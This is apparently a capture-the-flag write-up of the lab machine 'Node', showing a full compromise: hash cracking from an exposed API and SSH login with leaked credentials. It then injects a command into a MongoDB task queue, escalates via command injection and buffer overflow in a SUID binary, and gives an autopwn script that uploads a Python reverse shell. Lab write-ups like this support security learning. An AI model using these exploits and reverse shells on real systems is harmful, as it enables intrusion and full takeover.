Node write-up
Ανάλυση του Node
Enumeration
Port scanning
We scan the full range of TCP ports using masscan:
$ sudo masscan -e tun0 -p0-65535 --max-rate 500 10.10.10.58
Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2018-02-28 16:09:43 GMT
-- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [65536 ports/host]
Discovered open port 3000/tcp on 10.10.10.58
Discovered open port 22/tcp on 10.10.10.58
We found TCP ports 22 and 3000 open. Let’s explore them using nmap:
$ sudo nmap -A -p22,3000 10.10.10.58
Starting Nmap 7.60 ( https://nmap.org ) at 2018-02-28 18:13 EET
Nmap scan report for 10.10.10.58
Host is up (0.085s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 dc:5e:34:a6:25:db:43:ec:eb:40:f4:96:7b:8e:d1:da (RSA)
|_ 256 d8:78:b8:5d:85:ff:ad:7b:e6:e2:b5:da:1e:52:62:36 (EdDSA)
3000/tcp open http Node.js Express framework
| hadoop-datanode-info:
|_ Logs: /login
|_hadoop-jobtracker-info:
| hadoop-tasktracker-info:
|_ Logs: /login
|_hbase-master-info:
|_http-title: MyPlace
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 4.8 (91%), Linux 3.2 - 4.8 (91%), Crestron XPanel control system (89%), Linux 3.18 (88%), Linux 3.16 (88%), HP P2000 G3 NAS device (86%), ASUS RT-N56U WAP (Linux 3.4) (86%), Linux 3.1 (86%), Linux 3.2 (86%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (86%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Discovering directories and files
It’s hard to brute force directories and files on the website at port 3000 because it returns the same response (status code 200) for nonexistent pages. But, if we surf this site using a proxy (like those of burpsuite or zaproxy) we intercept some very interesting requests:
GET /partials/home.html
GET /api/users/latest
POST /api/session/authenticate
Exploitation
Getting mark user
Let’s visit http://10.10.10.58:3000/api/users/latest
[{"_id":"59a7368398aa325cc03ee51d","username":"tom","password":"f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240","is_admin":false},{"_id":"59a7368e98aa325cc03ee51e","username":"mark","password":"de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73","is_admin":false},{"_id":"59aa9781cced6f1d1490fce9","username":"rastating","password":"5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0","is_admin":false}]
Hmmm. None of those users is an admin. Let’s visit http://10.10.10.58:3000/api/users/
[{"_id":"59a7365b98aa325cc03ee51c","username":"myP14ceAdm1nAcc0uNT","password":"dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af","is_admin":true},{"_id":"59a7368398aa325cc03ee51d","username":"tom","password":"f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240","is_admin":false},{"_id":"59a7368e98aa325cc03ee51e","username":"mark","password":"de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73","is_admin":false},{"_id":"59aa9781cced6f1d1490fce9","username":"rastating","password":"5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0","is_admin":false}]
Bingo! An additional username has appeared and he is an admin. The password field seems to be a hash. Let’s find what type of hash it is:
$ hashid dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af
Analyzing 'dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af'
[+] Snefru-256
[+] SHA-256
[+] RIPEMD-256
[+] Haval-256
[+] GOST R 34.11-94
[+] GOST CryptoPro S-Box
[+] SHA3-256
[+] Skein-256
[+] Skein-512(256)
Let’s crack (i.e. reverse) this hash using hashcat:
$ hashcat -h | grep SHA-256
1400 | SHA-256 | Raw Hash
1411 | SSHA-256(Base64), LDAP {SSHA256} | HTTP, SMTP, LDAP Server
$ hashcat -a0 -m 1400 dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af /usr/share/dict/rockyou.txt
hashcat (v3.5.0) starting...
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Applicable optimizers:
* Zero-Byte
* Precompute-Init
* Precompute-Merkle-Demgard
* Early-Skip
* Not-Salted
* Not-Iterated
* Single-Hash
* Single-Salt
* Raw-Hash
Dictionary cache hit:
* Filename..: /usr/share/dict/rockyou.txt
* Passwords.: 14343297
* Bytes.....: 139921504
* Keyspace..: 14343297
dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af:manchester
We can use John the Ripper too:
$ echo dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af > hash.txt
$ john --format=Raw-SHA256 --wordlist=/usr/share/dict/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-SHA256 [SHA256 256/256 AVX2 8x])
manchester (?)
1g 0:00:00:00 DONE (2018-02-28 19:16) 33.33g/s 1092Kp/s 1092Kc/s 1092KC/s alamot..eatme1
Use the "--show" option to display all of the cracked passwords reliably
Session completed
$ john --show hash.txt
0 password hashes cracked, 1 left
For some reason, the “–show” option doesn’t work correctly in my case. Let’s just check the .pot file:
$ cat /home/alamot/.john/john.pot
$SHA256$dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af:manchester
Login to the website using the credentials myP14ceAdm1nAcc0uNT:manchester and download the backup file. The downloading process is very unstable and may be interrupted. Make sure you download the full file (3.3MB). Unfortunately, resume is not supported. You can use wget which automatically makes multiple tries to download the file correctly (you have to provide the cookie value that you get after a successfully login).
$ wget --header "Cookie: connect.sid=s%3AuGlwY_gicWrNb2ESIiDzUPn9TTi-Dstj.5E1wGaKmQ7QgeS%2BC5%2FfZ3mjy8DCwSdySPOv4rRvvZfU" http://10.10.10.58:3000/api/admin/backup
The file is based64-encoded. Let’s decode it:
$ cat myplace.backup | base64 -d > backup.zip
The zip file is password protected. Let’s crack it using fcrackzip or zipcracker-ng:
$ fcrackzip -uDp /usr/share/dict/rockyou.txt backup.zip
PASSWORD FOUND!!!!: pw == magicword
$ zipcracker-ng -f backup.zip -w /usr/share/dict/rockyou.txt
~ ZIP Cracker-ng v2015.02-03 ~
- File......: backup.zip
* Chosen one: ...ce/node_modules/express/node_modules/qs/.eslintignore (5 bytes)
- Encryption: standard (traditional PKWARE)
- Method....: stored
- Generator.: rockyou.txt
. Worked at ~ 4782K pwd/sec for ~ 14M tries.
+ Password found: magicword
HEXA[ 6D 61 67 69 63 77 6F 72 64 ]
^ Ex(c)iting.
If we explore the decompressed files from backup.zip, we find some credentials inside var/www/myplace/app.js:
$ head -n12 var/www/myplace/app.js
const express = require('express');
const session = require('express-session');
const bodyParser = require('body-parser');
const crypto = require('crypto');
const MongoClient = require('mongodb').MongoClient;
const ObjectID = require('mongodb').ObjectID;
const path = require("path");
const spawn = require('child_process').spawn;
const app = express();
const url = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/myplace?authMechanism=DEFAULT&authSource=myplace';
const backup_key = '45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474';
Let’s try those credentials with ssh:
ssh mark@10.10.10.58
Password: 5AYRft73VtFpc84k
mark@node:~$
Getting tom user
Let’s find if user tom is running anything:
$ ps aux | grep tom
tom 1213 3.2 9.0 1055196 68812 ? Ssl 05:02 8:20 /usr/bin/node /var/www/myplace/app.js
tom 1220 0.0 4.9 1008568 37896 ? Ssl 05:02 0:04 /usr/bin/node /var/scheduler/app.js
mark 18678 0.0 0.1 14228 940 pts/4 S+ 09:21 0:00 grep --color=auto tom
The file /var/scheduler/app.js seems interesting:
$ cat /var/scheduler/app.js
const exec = require('child_process').exec;
const MongoClient = require('mongodb').MongoClient;
const ObjectID = require('mongodb').ObjectID;
const url = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/scheduler?authMechanism=DEFAULT&authSource=scheduler';
MongoClient.connect(url, function(error, db) {
if (error || !db) {
console.log('[!] Failed to connect to mongodb');
return;
}
setInterval(function () {
db.collection('tasks').find().toArray(function (error, docs) {
if (!error && docs) {
docs.forEach(function (doc) {
if (doc) {
console.log('Executing task ' + doc._id + '...');
exec(doc.cmd);
db.collection('tasks').deleteOne({ _id: new ObjectID(doc._id) });
}
});
}
else if (error) {
console.log('Something went wrong: ' + error);
}
});
}, 30000);
});
In MongoDB, databases hold collections of documents i.e. MongoDB stores documents in collections. Collections are analogous to tables in relational databases. We see that /var/scheduler/app.js connects to a mondodb database named “scheduler”, searches for documents in a collection named “tasks” and executes their “cmd” field. Let’s connect to mongodb and insert a new document in the tasks collection. The command we want to be executed by user tom will be in the “cmd” field.
mark@node: mongo localhost:27017/scheduler -u mark -p 5AYRft73VtFpc84k
mark@node: > db.tasks.insertOne({cmd:"/usr/bin/python2 /dev/shm/.a/shell.py"});
{
"acknowledged" : true,
"insertedId" : ObjectId("5a97cc23089575233c6082cc")
}
>
On your side:
$ socat file:`tty`,echo=0,raw tcp4-listen:60000
or simply:
$ nc -lvp 60000
nc: listening on :: 60000 ...
nc: connect to 10.10.15.154 60000 from 10.10.10.58 (10.10.10.58) 50488 [50488]
nc: using stream socket
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
tom@node:/$
Getting root
Let’s examine /var/www/myplace/app.js:
tom@node:/$ cat /var/www/myplace/app.js | grep backup
cat /var/www/myplace/app.js | grep backup
const backup_key = '45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474';
app.get('/api/admin/backup', function (req, res) {
var proc = spawn('/usr/local/bin/backup', ['-q', backup_key, __dirname ]);
var backup = '';
res.header("Content-Disposition", "attachment; filename=myplace.backup");
res.send(backup);
backup += chunk;
Note those lines:
const backup_key = '45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474';
...
var proc = spawn('/usr/local/bin/backup', ['-q', backup_key, __dirname ]);
...
Let’s check the permissions of /usr/local/bin/backup:
tom@node:/$ ls -al /usr/local/bin/backup
ls -al /usr/local/bin/backup
-rwsr-xr-- 1 root admin 16484 Sep 3 11:30 /usr/local/bin/backup
Interesting. It’s a root-owned SUID executable! I bet we can find many ways to exploit this backup app. Let’s explore it using ltrace:
tom@node:/$ ltrace /usr/local/bin/backup -q 3de811f4ab2b7543eaf45df611c2dd2541a5fc5af601772638b81dce6852d110 /tmp/a
__libc_start_main(0x80489fd, 4, 0xff84f0a4, 0x80492c0 <unfinished ...>
geteuid() = 1000
setuid(1000) = 0
strcmp("-q", "-q") = 0
strncpy(0xff84ef68, "3de811f4ab2b7543eaf45df611c2dd25"..., 100) = 0xff84ef68
strcpy(0xff84ef51, "/") = 0xff84ef51
strcpy(0xff84ef5d, "/") = 0xff84ef5d
...
strcat("/etc/myplace/key", "s") = "/etc/myplace/keys"
...
fopen("/etc/myplace/keys", "r") = 0x9344008
fgets("a01a6aa5aaf1d7729f35c8278daae30f"..., 1000, 0x9344008) = 0xff84eaff
strcspn("a01a6aa5aaf1d7729f35c8278daae30f"..., "\n") = 64
strcmp("3de811f4ab2b7543eaf45df611c2dd25"..., "a01a6aa5aaf1d7729f35c8278daae30f"...) = -1
fgets("45fac180e9eee72f4fd2d9386ea7033e"..., 1000, 0x9344008) = 0xff84eaff
strcspn("45fac180e9eee72f4fd2d9386ea7033e"..., "\n") = 64
strcmp("3de811f4ab2b7543eaf45df611c2dd25"..., "45fac180e9eee72f4fd2d9386ea7033e"...) = -1
fgets("3de811f4ab2b7543eaf45df611c2dd25"..., 1000, 0x9344008) = 0xff84eaff
strcspn("3de811f4ab2b7543eaf45df611c2dd25"..., "\n") = 64
strcmp("3de811f4ab2b7543eaf45df611c2dd25"..., "3de811f4ab2b7543eaf45df611c2dd25"...) = 0
fgets(nil, 1000, 0x9344008) = 0
strstr("/tmp/a", "..") = nil
strstr("/tmp/a", "/root") = nil
strchr("/tmp/a", ';') = nil
strchr("/tmp/a", '&') = nil
strchr("/tmp/a", '`') = nil
strchr("/tmp/a", '$') = nil
strchr("/tmp/a", '|') q = nil
strstr("/tmp/a", "//") = nil
strcmp("/tmp/a", "/") = 1
strstr("/tmp/a", "/etc") = nil
strcpy(0xff84e90b, "/tmp/a") = 0xff84e90b
getpid() = 25982
time(0) = 1508024709
clock(0, 0, 0, 0) = 624
srand(0x4cfc17f4, 0x8bb32348, 0x4cfc17f4, 0x804918c) = 0
rand(0, 0, 0, 0) = 0x7968d049
sprintf("/tmp/.backup_2036912201", "/tmp/.backup_%i", 2036912201) = 23
sprintf("/usr/bin/zip -r -P magicword /tm"..., "/usr/bin/zip -r -P magicword %s "..., "/tmp/.backup_2036912201", "/tmp/a") = 75
system("/usr/bin/zip -r -P magicword /tm"... <no return ...>
--- SIGCHLD (Child exited) ---
<... system resumed> ) = 0
access("/tmp/.backup_2036912201", 0) = 0
sprintf("/usr/bin/base64 -w0 /tmp/.backup"..., "/usr/bin/base64 -w0 %s", "/tmp/.backup_2036912201") = 43
system("/usr/bin/base64 -w0 /tmp/.backup"...UEsDBBQACQAIAH<no return ...>
--- SIGCHLD (Child exited) ---
<... system resumed> ) = 0
remove("/tmp/.backup_2036912201") = 0
fclose(0x9344008)
We see that the directory is zipped using “magicword” as password and then the zip file is getting base64-encoded. Moreover, we notice that there are many filters in place that use strchr() or strstr(). Let’s see if we can bypass them.
1. Using symbolic links:
tom@node:/$ mkdir -p /dev/shm/test1/test2
tom@node:/$ ln -s /root/root.txt /dev/shm/test1/test2/r
tom@node:/$ /usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /dev/shm/test1/test2/r | base64 -d > /dev/shm/.a/mybackup.zip
tom@node:/$ unzip /dev/shm/.a/mybackup.zip
password: magicword
2. Using special characters:
Backslash escape:
tom@node:/$ /usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 "/roo\t/roo\t.txt" | base64 -d > /dev/shm/.a/mybackup.zip
tom@node:/$ unzip /dev/shm/.a/mybackup.zip
password: magicword
Wildcard expansion:
tom@node:/$ /usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 "/r???/r???.txt" | base64 -d > /dev/shm/.a/mybackup.zip
tom@node:/$ unzip /dev/shm/.a/mybackup.zip
password: magicword
Brace expansion:
tom@node:/$ /usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 "/roo[t]/roo[t].txt" | base64 -d > /dev/shm/.a/mybackup.zip
tom@node:/$ unzip /dev/shm/.a/mybackup.zip
password: magicword
3. Using multiline command injection:
We can use a combo of $(), printf and newlines to inject commands (we don’t see the output of the last chained command because internally there is a redirection to > /dev/null):
tom@node:/tmp$ /usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 "$(printf '\n/bin/sh\necho OK')"
zip error: Nothing to do! (/tmp/.backup_1942371757)
# whoami
root
The $'...' syntax works too. It creates a string, with backslash-escaped characters replaced with special characters - like "\n" for newline :
/usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 $'\n /bin/sh \n echo OK'
zip error: Nothing to do! (/tmp/.backup_1942371757)
# whoami
root
4. Using buffer overflow (the smart way)
The backup app suffers from buffer overflow:
$ /usr/local/bin/backup qq 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 $(python2 -c 'print("A"*507)')
[!] The target path doesn't exist
$ /usr/local/bin/backup qq 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 $(python2 -c 'print("A"*508)')
Segmentation fault (core dumped)
You can download the backup app and explore it using radare2 (the app needs also the file /etc/myplace/keys in the proper place):
$ r2 -d ./backup qq 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 $(python2 -c 'print("A"*512)')
[0xf7fb09c0]> dc
child stopped with signal 11
[+] SIGNAL 11 errno=0 addr=0x00000223 code=1 ret=0
[0xf7e029ee]> dr
eax = 0x00000000
ebx = 0x08049ed0
ecx = 0x00000000
edx = 0xf7f48870
esi = 0x00000004
edi = 0x00000223
esp = 0xffae2be8
ebp = 0x41414141
eip = 0xf7e029ee
eflags = 0x00010246
oeax = 0xffffffff
By experimenting we see that:
1. Size 508 doesn't overwrite ebp
2. Size 512 overwrites ebp (ebp = 0x41414141)
3. Size 516 overwrites ebp and eip (eip 0x41414141)
Therefore we need an overhead of 512 bytes for our payload to overwrite the “return address” (i.e. the eip register).
Let’s see if NX is present:
$ r2 backup
[0x08048780]> i~nx
nx true
Now, let’s check if ASLR is enabled on the box:
$ cat /proc/sys/kernel/randomize_va_space
2
The number 2 means full randomization. Therefore, if we use a RET2LIBC approach, the addresses will be different every time and we will have to use brute force to catch e.g. the correct libc base address. But we can use a different approach named RET2GOT (or RET2SELF as I prefer to call it). This approach uses only local elements/offsets inside the executable. Linux executables use GOT/PLT tables to automatically match the internal local offsets with the external library addresses. In other words, those addresses that aren’t known in the time of linking are resolved by the dynamic linker at run time. You can read more on this subject here https://www.technovelty.org/linux/plt-and-got-the-key-to-code-sharing-and-dynamic-libraries.html and here https://sploitfun.wordpress.com/2015/05/08/bypassing-aslr-part-i/
The backup app makes internally use of the system() function but we lack something to call using this function. Ideally, we would like a null-terminated string like “/bin/sh”. But we don’t have exactly this. Let’s check what we have:
$ strings /usr/local/bin/backup
...
/root
/etc
/tmp/.backup_%i
/usr/bin/zip -r -P magicword %s %s > /dev/null
/usr/bin/base64 -w0 %s
...
The string “/tmp/.backup_%i” looks promising. As a matter of fact, it’s a perfectly legal linux filename and we can write into /tmp! :D
Let’s use radare2 to get the addresses in order to construct our RET2SELF payload (later on I demonstrate the use of pwntools in a script where those addresses are obtained automatically):
$ r2 ./backup ./backup
> aa
> fs imports; f
...
0x080486a0 6 sym.imp.system
...
0x080486c0 6 sym.imp.exit
...
> fs strings; f
...
0x08049ed5 16 str._tmp_.backup__i
...
Therefore, our RET2SELF payload will be like this:
0x080486a0 system()
0x080486c0 exit()
0x08049ed5 /tmp/.backup_%i (the argument for system)
Now, use nano to make a file shell.c and copy/paste this content (you can use mark ssh shell if your shell doesn’t support nano):
$ nano shell.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
int main(void)
{
setuid(0);
system("/bin/sh");
return 0;
}
Then compile it on the box:
$ gcc shell.c -o shell
Copy it to /tmp/.backup_%i (and make sure it’s executable):
$ cp shell /tmp/.backup_%i && chmod +x /tmp/.backup_%i
It’s high time to get root:
tom@node:/$ /usr/local/bin/backup qq 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 $(python2 -c 'print("A"*512+"\xa0\x86\x04\x08"+"\xc0\x86\x04\x08"+"\xd5\x9e\x04\x08")')
# whoami
root
or
tom@node:/$ /usr/local/bin/backup qq 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 "/roo\t/roo\t.txt $(python2 -c 'print("A"*495+"\xa0\x86\x04\x08"+"\xc0\x86\x04\x08"+"\xd5\x9e\x04\x08")')"
# whoami
root
5. Using buffer overflow (the brute-force way)
We can also use brute force to catch the proper libc base address (this is exactly the same way we used for the privilege escalation on the “October” box):
#!/usr/bin/env python2
import struct
from subprocess import call
libc_base_addr = 0xf752c000 # ldd /usr/local/bin/backup (choose an average value)
exit_off = 0x0002e7b0 # readelf -s /lib32/libc.so.6 | grep exit
system_off = 0x0003a940 # readelf -s /lib32/libc.so.6 | grep system
system_addr = libc_base_addr + system_off
exit_addr = libc_base_addr + exit_off
system_arg = libc_base_addr + 0x15900b # strings -a -t x /lib32/libc.so.6 | grep '/bin/sh'
#endianess convertion
def conv(num):
return struct.pack("<I",num)
# Junk + system + exit + system_arg
buf = "A" * 512
buf += conv(system_addr)
buf += conv(exit_addr)
buf += conv(system_arg)
print "Calling vulnerable program"
i = 0
while (i < 256):
print "Number of tries: %d" %i
i += 1
ret = call(["./backup", "qq", "45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474", buf])
if (not ret):
break
else:
print "Exploit failed"
6. Writing files as root
One last interesting note. If we set umask to 0 we can create/write files as root but writable by tom too:
tom@node:/$ umask 0
tom@node:/$ /usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 "/roo\t/roo\t.txt > /e\tc/test"
tom@node:/$ ls -al /etc/test
-rw-rw-rw- 1 root tom 0 Oct 15 12:48 test
Note that you cannot use this trick anymore to write cron jobs or ssh keys because nowadays -due to security mitigations- both require/check for stricter permissions.
Autopwning Node
I wrote an autopwn script for Node (don’t forget to set LHOST to the proper value):
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
import time
from pwn import *
from subprocess import call
DEBUG = False
RHOST = "10.10.10.58"
RPORT = 22
RPATH = "/dev/shm/.a/"
LHOST = "10.10.14.107"
LPORT = 60002
if DEBUG:
context.log_level = 'debug'
else:
context.log_level = 'info'
# Write and compile rootshell.c
with open("rootshell.c", "wt") as f:
f.write("""#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
int main(void)
{
setuid(0);
system("/bin/sh");
return 0;
}
""")
f.close()
if call(["gcc", "rootshell.c", "-o", "rootshell"]) == 0:
log.info("Compilation of rootshell was successful")
# Connect to ssh and download /usr/local/bin/backup
mark_shell = ssh(host=RHOST, port=RPORT, user='mark', password='5AYRft73VtFpc84k')
log.info("User: "+mark_shell['whoami'])
mark_shell.download_file("/usr/local/bin/backup",local="./backup")
# Make payload
elf = ELF('./backup')
rop = ROP(elf)
rop.system(next(elf.search('/tmp/.backup')))
rop.exit()
log.info(rop.dump())
payload = "A"*(512) + str(rop)
# Upload python reverse shell
log.info(mark_shell["mkdir -p "+RPATH])
mark_shell.upload_data("import os, pty, socket\n"
"lhost = '" + LHOST + "'\n"
"lport = " + str(LPORT) + "\n"
"\n"
"def main():\n"
" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n"
" s.connect((lhost, lport))\n"
" os.dup2(s.fileno(),0)\n"
" os.dup2(s.fileno(),1)\n"
" os.dup2(s.fileno(),2)\n"
" os.putenv('HISTFILE','/dev/null')\n"
" pty.spawn('/bin/bash')\n"
" s.close()\n"
"\n"
"if __name__ == '__main__':\n"
" main()\n", remote=RPATH+"shell.py")
# Upload payload and rootshell
mark_shell.upload_data(payload,remote=RPATH+"pld")
mark_shell.upload_file("rootshell",RPATH+"rootshell")
# Add python reverse shell task to mongodb
mongodb = mark_shell.run("mongo localhost:27017/scheduler -u mark -p 5AYRft73VtFpc84k")
mongodb.recv()
mongodb.sendline("db.tasks.insertOne({cmd:'/usr/bin/python2 /dev/shm/.a/shell.py'});")
# Get root
tom_shell = listen(LPORT).wait_for_connection()
tom_shell.clean(0)
tom_shell.sendline("cp "+RPATH+"rootshell /tmp/.backup_%i")
tom_shell.recv()
tom_shell.sendline("chmod +x /tmp/.backup_%i")
tom_shell.recv()
tom_shell.sendline("/usr/local/bin/backup qq 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 $(cat "+RPATH+"pld)")
tom_shell.interactive()
You can find my scripts here: https://github.com/Alamot/code-snippets/tree/master/hacking/HTB/Node